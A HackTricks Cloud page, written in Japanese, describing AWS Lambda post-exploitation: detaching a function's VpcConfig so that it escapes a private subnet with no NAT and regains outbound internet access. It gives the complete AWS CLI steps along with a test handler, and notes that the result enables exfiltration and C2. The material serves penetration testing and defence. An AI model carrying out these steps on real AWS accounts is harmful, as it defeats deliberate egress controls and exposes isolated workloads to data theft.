Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md

67 lines
3.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AWS Lambda VPC Egress Bypass by Detaching VpcConfig
{{#include ../../../../banners/hacktricks-training.md}}
空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) に更新することで、制限された VPC から Lambda 関数を強制的に切り離します。関数は Lambda が管理するネットワーク領域で実行されるようになり、アウトバウンドのインターネットアクセスを回復し、NAT のないプライベート VPC サブネットで適用される egress コントロールをバイパスします。
## 悪用
- 事前条件: ターゲット関数に対する lambda:UpdateFunctionConfiguration検証用に lambda:InvokeFunction があると良い)、およびコード/ハンドラを変更する場合はそれらを更新する権限。
- 想定: 関数は現在 VpcConfig が NAT のないプライベートサブネットを指しており(そのためアウトバウンドのインターネットがブロックされている)設定されている。
- リージョン: us-east-1
### 手順
0) アウトバウンド HTTP が動作することを証明する最小ハンドラを用意する
cat > net.py <<'PY'
import urllib.request, json
def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) 後で必要に応じて復元できるように現在の VPC 設定を記録する
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) 空のリストを設定して VPC を切り離す
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Invoke してアウトバウンドアクセスを確認する
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) 元の VPC 設定を復元する
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### 影響
- 関数から制限のないアウトバウンドインターネットアクセスが復元され、NAT のないプライベートサブネット内で意図的に隔離されていたワークロードからの data exfiltration や C2 を可能にします。
### 例VpcConfig を切り離した後の出力)
{"egress": true, "ip": "34.x.x.x"}
### クリーンアップ
- 一時的に作成したコード/ハンドラ変更がある場合は復元してください。
- 必要に応じて上記のように /tmp/orig-vpc.json に保存した元の VpcConfig を復元してください。
{{#include ../../../../banners/hacktricks-training.md}}